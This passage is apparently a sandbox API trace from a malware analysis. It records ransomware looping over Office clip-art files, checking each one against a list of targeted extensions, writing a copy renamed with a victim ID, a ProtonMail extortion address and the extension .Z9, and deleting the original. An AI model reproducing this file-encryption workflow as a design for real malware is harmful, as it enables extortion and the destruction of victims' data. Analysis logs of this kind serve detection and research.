	[0172.922] lstrlenW (lpString=".dbf") returned 4
	[0172.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.922] lstrlenW (lpString=".1cd") returned 4
	[0172.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.922] lstrlenW (lpString=".jpg") returned 4
	[0172.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.922] lstrlenW (lpString=".doc") returned 4
	[0172.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString=".docx") returned 5
	[0172.922] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.922] lstrlenW (lpString=".pdf") returned 4
	[0172.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString=".xls") returned 4
	[0172.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.922] lstrlenW (lpString=".xlsx") returned 5
	[0172.922] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.922] lstrlenW (lpString=".ppt") returned 4
	[0172.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.922] lstrlenW (lpString=".zip") returned 4
	[0172.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.922] lstrlenW (lpString=".rar") returned 4
	[0172.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString=".bz2") returned 4
	[0172.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.922] lstrlenW (lpString=".7z") returned 3
	[0172.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.923] lstrlenW (lpString=".dbf") returned 4
	[0172.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.923] lstrlenW (lpString=".1cd") returned 4
	[0172.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.923] lstrlenW (lpString=".jpg") returned 4
	[0172.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.923] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.923] lstrlenW (lpString="J0105912.WMF") returned 12
	[0172.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0172.924] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=11720) returned 1
	[0172.924] CloseHandle (hObject=0x4a4) returned 1
	[0172.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220
	[0172.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0172.927] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.927] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.928] GetLastError () returned 0x0
	[0172.928] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x2dc8, lpOverlapped=0x0) returned 1
	[0172.930] WriteFile (in: hFile=0x55c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x2dd0, lpOverlapped=0x0) returned 1
	[0172.931] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.931] WriteFile (in: hFile=0x55c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.931] SetEndOfFile (hFile=0x55c) returned 1
	[0172.931] CloseHandle (hObject=0x55c) returned 1
	[0172.931] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.931] SetEndOfFile (hFile=0x4a4) returned 1
	[0172.935] CloseHandle (hObject=0x4a4) returned 1
	[0172.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1
	[0172.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.937] lstrlenW (lpString=".doc") returned 4
	[0172.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.937] lstrlenW (lpString=".docx") returned 5
	[0172.937] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0172.937] lstrlenW (lpString=".pdf") returned 4
	[0172.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.937] lstrlenW (lpString=".xls") returned 4
	[0172.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.937] lstrlenW (lpString=".xlsx") returned 5
	[0172.937] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0172.938] lstrlenW (lpString=".ppt") returned 4
	[0172.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.938] lstrlenW (lpString=".zip") returned 4
	[0172.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.938] lstrlenW (lpString=".rar") returned 4
	[0172.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString=".bz2") returned 4
	[0172.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString=".7z") returned 3
	[0172.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.938] lstrlenW (lpString=".dbf") returned 4
	[0172.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.938] lstrlenW (lpString=".1cd") returned 4
	[0172.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.938] lstrlenW (lpString=".jpg") returned 4
	[0172.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.938] lstrlenW (lpString=".doc") returned 4
	[0172.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString=".docx") returned 5
	[0172.938] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0172.938] lstrlenW (lpString=".pdf") returned 4
	[0172.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.938] lstrlenW (lpString=".xls") returned 4
	[0172.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.938] lstrlenW (lpString=".xlsx") returned 5
	[0172.938] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0172.938] lstrlenW (lpString=".ppt") returned 4
	[0172.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.939] lstrlenW (lpString=".zip") returned 4
	[0172.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.939] lstrlenW (lpString=".rar") returned 4
	[0172.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.939] lstrlenW (lpString=".bz2") returned 4
	[0172.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.939] lstrlenW (lpString=".7z") returned 3
	[0172.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.939] lstrlenW (lpString=".dbf") returned 4
	[0172.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.939] lstrlenW (lpString=".1cd") returned 4
	[0172.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0172.939] lstrlenW (lpString=".jpg") returned 4
	[0172.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.939] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.939] lstrlenW (lpString="J0105974.WMF") returned 12
	[0172.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0172.940] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4612) returned 1
	[0172.940] CloseHandle (hObject=0x4a4) returned 1
	[0172.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220
	[0172.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.131] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.132] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0173.132] GetLastError () returned 0x0
	[0173.132] ReadFile (in: hFile=0x540, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1204, lpOverlapped=0x0) returned 1
	[0173.137] WriteFile (in: hFile=0x548, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1210, lpOverlapped=0x0) returned 1
	[0173.138] ReadFile (in: hFile=0x540, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.139] WriteFile (in: hFile=0x548, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.139] SetEndOfFile (hFile=0x548) returned 1
	[0173.139] CloseHandle (hObject=0x548) returned 1
	[0173.139] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.139] SetEndOfFile (hFile=0x540) returned 1
	[0173.151] CloseHandle (hObject=0x540) returned 1
	[0173.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1
	[0173.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.152] lstrlenW (lpString=".doc") returned 4
	[0173.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.152] lstrlenW (lpString=".docx") returned 5
	[0173.152] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.152] lstrlenW (lpString=".pdf") returned 4
	[0173.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString=".xls") returned 4
	[0173.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.153] lstrlenW (lpString=".xlsx") returned 5
	[0173.153] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.153] lstrlenW (lpString=".ppt") returned 4
	[0173.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.153] lstrlenW (lpString=".zip") returned 4
	[0173.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.153] lstrlenW (lpString=".rar") returned 4
	[0173.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString=".bz2") returned 4
	[0173.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString=".7z") returned 3
	[0173.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.153] lstrlenW (lpString=".dbf") returned 4
	[0173.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.153] lstrlenW (lpString=".1cd") returned 4
	[0173.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.153] lstrlenW (lpString=".jpg") returned 4
	[0173.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.153] lstrlenW (lpString=".doc") returned 4
	[0173.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.153] lstrlenW (lpString=".docx") returned 5
	[0173.153] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.153] lstrlenW (lpString=".pdf") returned 4
	[0173.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.154] lstrlenW (lpString=".xls") returned 4
	[0173.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.154] lstrlenW (lpString=".xlsx") returned 5
	[0173.154] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.154] lstrlenW (lpString=".ppt") returned 4
	[0173.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.154] lstrlenW (lpString=".zip") returned 4
	[0173.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.154] lstrlenW (lpString=".rar") returned 4
	[0173.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.154] lstrlenW (lpString=".bz2") returned 4
	[0173.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.154] lstrlenW (lpString=".7z") returned 3
	[0173.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.154] lstrlenW (lpString=".dbf") returned 4
	[0173.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.154] lstrlenW (lpString=".1cd") returned 4
	[0173.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0173.154] lstrlenW (lpString=".jpg") returned 4
	[0173.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.154] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.154] lstrlenW (lpString="J0106208.WMF") returned 12
	[0173.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.173] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=11900) returned 1
	[0173.173] CloseHandle (hObject=0x524) returned 1
	[0173.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220
	[0173.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.175] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.175] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.176] GetLastError () returned 0x0
	[0173.176] ReadFile (in: hFile=0x524, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x2e7c, lpOverlapped=0x0) returned 1
	[0173.178] WriteFile (in: hFile=0x540, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0173.179] ReadFile (in: hFile=0x524, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.179] WriteFile (in: hFile=0x540, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.179] SetEndOfFile (hFile=0x540) returned 1
	[0173.179] CloseHandle (hObject=0x540) returned 1
	[0173.179] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.179] SetEndOfFile (hFile=0x524) returned 1
	[0173.182] CloseHandle (hObject=0x524) returned 1
	[0173.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1
	[0173.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.184] lstrlenW (lpString=".doc") returned 4
	[0173.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.184] lstrlenW (lpString=".docx") returned 5
	[0173.184] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.184] lstrlenW (lpString=".pdf") returned 4
	[0173.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.184] lstrlenW (lpString=".xls") returned 4
	[0173.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.184] lstrlenW (lpString=".xlsx") returned 5
	[0173.184] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.184] lstrlenW (lpString=".ppt") returned 4
	[0173.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.184] lstrlenW (lpString=".zip") returned 4
	[0173.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.184] lstrlenW (lpString=".rar") returned 4
	[0173.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.184] lstrlenW (lpString=".bz2") returned 4
	[0173.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.184] lstrlenW (lpString=".7z") returned 3
	[0173.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.184] lstrlenW (lpString=".dbf") returned 4
